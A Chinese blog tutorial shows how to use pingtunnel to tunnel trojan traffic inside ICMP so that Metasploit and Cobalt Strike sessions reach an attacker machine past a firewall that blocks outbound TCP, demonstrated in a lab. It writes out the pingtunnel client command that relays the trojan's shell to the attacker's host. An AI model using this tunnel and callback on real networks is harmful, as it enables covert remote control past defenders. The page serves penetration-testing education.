【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS

news/2024/9/18 12:38:46/ 标签: 网络安全
~ 会当凌绝顶,一览众山小 ~

前言

博客主页:h0ack1r丶羽~ 从0到1~

img

渗透测试中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道,实现靶机上线MSF/CS的过程】,以及它的原理解释,如果哪里说错了,还请师傅们指出,谢谢您。

image-20240824194826922

靶机能上TCP

首先我们使用msfvenom生成widows木马 设置好payload

image-20240823144044493

开启监听

image-20240823144107736

运行即可上线

image-20240823144133503

正常情况下木马使用的是TCP协议,靶机能上网,那么靶机不能上网,阻止了防火墙出网呢?也不能走TCP访问攻击机器呢?这个时候MSF就不能通过TCP协议上线,下面将演示MSF通过ICMP协议上线靶机

阻止TCP连接环境搭建

检查网络通信,可以ping通百度

image-20240823144157593

也可以正常访问百度

image-20240824191834453

靶机启用防火墙

image-20240823155238044

kali攻击机器ping(访问)靶机就不通了

image-20240823144407488

靶机阻止防火墙所有出站TCP规则,也就是我们靶机访问不了外网,浏览器打不开百度了

image-20240823155314701

设置为阻止

image-20240823155334033

全部勾选

image-20240823155348975

这个时候可以ping通百度,但是tcp无法访问(浏览器访问网站这个操作,就是走的TCP协议),而ping使用的是icmp协议,所以可以ping通百度,也可以ping(访问)通我们的攻击机

image-20240823155435817

没上线成功的过程就不演示了,作用不大

注:木马走的都是tcp协议,此时我们禁用了TCP协议,msf就无法上线,该怎么绕过呢?

工具使用

这时候我们就需要一个工具

MSF隧道搭建工具pingtunnel

工具链接

链接:百度网盘 请输入提取码 提取码:1212

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。

在本次教程中它的主要作用,如图

image-20240824181507710

这张图主要介绍了两个部分

1、靶机使用容器,将tcp数据包打包为icmp数据包

2、msf接收的时候,将icmp数据包还原成tcp数据包

实现过程

下载好工具后把他移到kali中

image-20240824181921093

kali启用PingTunnel服务器

image-20240823154349816

此时kali生成的木马需要是127.0.0.1,端口为靶机监听的地址(原理待会解释)

image-20240823173154040

PingTunnel把木马的TCP数据包封装为ICMP数据包,这时候就可以通过ICMP协议发送到攻击机服务器

工具使用教程如下

image-20240823155549529

命令解释

image-20240824182555235

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

image-20240823164547494

运行

image-20240823162427792

查看kali服务端,icmp协议已成功收到靶机的访问请求

image-20240823163445198

MSF设置监听端口9999,本地地址为0.0.0.0全局地址

image-20240823172553344

当PingTunnel服务器接收到靶机的ICMP数据包的时候,PingTunnel就会将ICMP数据包拆解为TCP数据包,这时候MSF就会接收到此”TCP请求“,即可成功利用icmp隧道成功上线MSF

image-20240823172227455

执行命令

image-20240823172504686

原理解释

再来看这张图

image-20240824181507710

结合上面的结构图和这个案例即可得到原理,攻击机器生成木马,并传到靶机上,靶机运行木马在本地的8888端口,而PingTunnel在靶机上将这个端口的TCP流量打包,转发到攻击机刚刚开启的PingTunnel服务器,PingTunnel服务器接收到这个icmp请求之后,将这个ICMP包进行拆解转化为TCP协议,最后将这个TCP协议转发到攻击机器(kali)MSF监听的端口,此时就可以完成MSF上线

CS通过ICMP上线

CS也是一样的原理,主机cs生成木马,送到靶机,添加两个监听器,靶机自己监听地址

image-20240823175907442

kali接受shell地址

image-20240823181221244

如下

image-20240823181239100

生成payload,选择靶机的监听地址

image-20240823175957426

放入靶机

image-20240823180638826

运行木马之后,再运行pingtunnel,转发到攻击机的服务器

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

成功上线,如果没上线成功,这个红色的框一定要检查是否正确

image-20240823181140245

whoami

image-20240823181342411

总结

本文详细讲解了在内网渗透中,当常规的网络通信手段(如TCP协议)受阻时,如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器,将TCP数据包封装在ICMP数据包中,利用ICMP协议进行数据传输,从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理,并通过实际案例展示了其应用过程。

image-20240821152514635

感今怀昔

最新可用,bp+charles小程序抓包教程

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【kali笔记】一款强大的Web目录扫描工具DIRB使用指南

PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解【附靶机链接】

PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用


http://www.ppmy.cn/news/1515443.html

相关文章

【vue】编辑器段落对应材料同步滚动交互

场景需求 编辑器段落对应显示材料编辑器滚动时,材料同步滚动编辑器段落无数据时,材料不显示 实现方法 编辑器与材料组件左右布局获取编辑器高度,材料高度与编辑器高度一致禁用材料组件的滚动事件获取编辑器段落距离顶部的位置,…

【Docker】Docker学习01 | 什么是docker?

本文首发于 ❄️慕雪的寒舍 因为本人没有学习过docker,虽然部署过很多镜像,但是对于docker底层的实现一概不知。趁学习一个新项目的契机,将docker的相关概念了解清楚。 安装docker的教程请查看 Linux主机安装docker。 如果你想和我一起学习do…

【计算机网络】网络版本计算器

此前我们关于TCP协议一直写的都是直接recv或者read,有了字节流的概念后,我们知道这样直接读可能会出错,所以我们如何进行分割完整报文?这就需要报头来解决了! 但当前我们先不谈这个话题,先从头开始。 将会…

[Algorithm][综合训练][mari和shiny][重排字符串]详细讲解

目录 1.mari和shiny1.题目链接2.算法原理详解 && 代码实现 2.重排字符串1.题目链接2.算法原理详解 && 代码实现 1.mari和shiny 1.题目链接 mari和shiny 2.算法原理详解 && 代码实现 自己的版本:三层循环暴力枚举 --> 超时 --> 40% …

Android如何高效的加载大型位图

图片有各种形状和大小。在很多情况下,它们的大小超过了典型应用界面的要求。例如,系统“图库”应用会显示使用 Android 设备的相机拍摄的照片,这些照片的分辨率通常远高于设备的屏幕密度。 鉴于使用的内存有限,理想情况下您只希望在内存中加载较低分辨率的版本。分辨率较低…

【记录】基于Windows系统安装rust环境的过程

到官网下载安装包【入门 - Rust 程序设计语言 (rust-lang.org)】 ![[Pasted image 20240703142911.png]] 选择1,快速安装 选择编译配置,1为标准 安装完成 验证是否安装完毕 rustc --versioncargo --version验证成功!

从0到1使用webpack搭建react脚手架

背景 好多前端童鞋工作多年依然不会使用webpack搭建react脚手架,本文就介绍下如何从零开始搭建一个属于你自己的前端脚手架,提高自己的工程化实力,同时也提高团队的开发效率。 一、基础配置 目标:可以启动最简单的react项目 初…

el-table 表格自定义添加表格数据后自动滚动到最底部

动态表格,可以新增行列数,为了用户体验,新增后超出表格流体高度后,自动滚动到最下方 需要element-plus如下api 代码如下: const addCapacity () > {inputList.value.push({name: "",desc: "&quo…

Macos M1 IDEA本地调试 HBase 2.2.2

# 1. 前提 执行 mvn clean package assembly:single -DskipTests没问题,并在hbase-assembly/target目录下生成hbase-2.2.2-bin.tar.gz 文件夹 证明Maven 下载依赖没问题 1.1 报错 1 这里应该是报错找不到 com.google.protobuf:protoc:exe:osx-aarch_64:3.5.1 …

Django 框架中 select_related 和 prefetch_related的区别

在Django框架中,select_related 和 prefetch_related 是两个优化数据库查询性能的非常重要的方法,特别是在处理外键关联查询时。尽管它们的目的相似,但在处理方式和适用场景上有所不同。 select_related select_related 主要是用于解决“一…

Java SpringBoot+Vue实战教程:如何搭建高中素质评价档案系统?

✍✍计算机编程指导师 ⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流! ⚡⚡ Java实战 |…

基于51单片机的电动式百叶窗proteus仿真

地址: https://pan.baidu.com/s/1ptXdnVxytPadcE7kOT9MwA 提取码:1234 仿真图: 芯片/模块的特点: AT89C52/AT89C51简介: AT89C52/AT89C51是一款经典的8位单片机,是意法半导体(STMicroelectro…

iOS Native与JS通信:JSBridge

文章目录 一、简介二、JS 调用 Native1.使用 URL Schemea.UIWebViewb.WKWebView 2.使用 JavaScriptCore (iOS 7)3.使用 WKWebView 和 WKScriptMessageHandler (iOS 8) 三、Native 调用 JS1.使用 UIWebView2.使用 WKWebView3.使用 JavaScriptCore (iOS 7) 一、简介 对于移动应用…

mysql在k8s环境里安装及搭建主从架构

1、环境准备 k8s集群,版本1.27.0 2、搭建nfs服务器 本次用的k8smaster节点作为nfs服务器,因为需要在两个工作节点上连接nfs,所以工作节点上也要安装nfs yum install -y nfs-utils 我们直接在nfs服务器(k8s-master)当中创建这三个目录并写入…

Linux--数据链路层(macarp)

目录 1.认识以太网 2.以太网帧格式 3.模拟一次局域网通信(交换机) 4.认识 MAC 地址 对比理解 MAC 地址和 IP 地址 5.认识MTU MTU 对 IP 协议的影响 MTU 对 UDP 协议的影响 MTU 对于 TCP 协议的影响 6.ARP协议 ARP 协议的作用及原理 ARP 数据报的…

前端面试宝典【设计模式】【4】

在前端开发的世界里,每一次面试都是一次机遇,也是一次挑战。 你是否曾因技术深度不够而错失良机? 或是面对最新的技术趋势感到迷茫? 我们的【前端面试宝典】正是为此而来。 由拥有多年一线实战经验的资深工程师亲自授课,结合最新的行业动态与实战案例,旨在全面提升你的技…

BurpSuite2024.7.3专业版

前言 Burp Suite是一个无需安装软件,下载完成后,直接从命令行启用即可。开箱即可使用支持LInux/Windows/Mac 01更新介绍 2024.7.13版本界面大改动此版本引入了重大的性能升级、对拦截功能的重大增强,以及在审计项目表中新增了扫描插入点列。…

电路笔记(PCB):数字滤波电路的拉普拉斯变换与零极点分析

拉普拉斯变换基础 拉普拉斯变换 拉普拉斯变换是一种积分变换,用于将一个时间域的函数(通常是信号或系统的响应)转换为一个复频域的函数。这种变换可以简化许多微分方程和线性系统分析的过程。其定义为: L { f ( t ) } F ( s )…

PyCharm汉化:简单一步到胃!PyCharm怎么设置中文简体

最近在弄python的项目 一起加油哦 步骤: PyCharm的汉化可以通过两种主要方法完成: 方法一:通过PyCharm内置的插件市场安装中文语言包 1. 打开PyCharm,点击File -> Settings(在Mac上是PyCharm -> Preferences…

[数据集][目标检测]绳子检测数据集VOC+YOLO格式322张1类别

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):322 标注数量(xml文件个数):322 标注数量(txt文件个数):322 标注类别…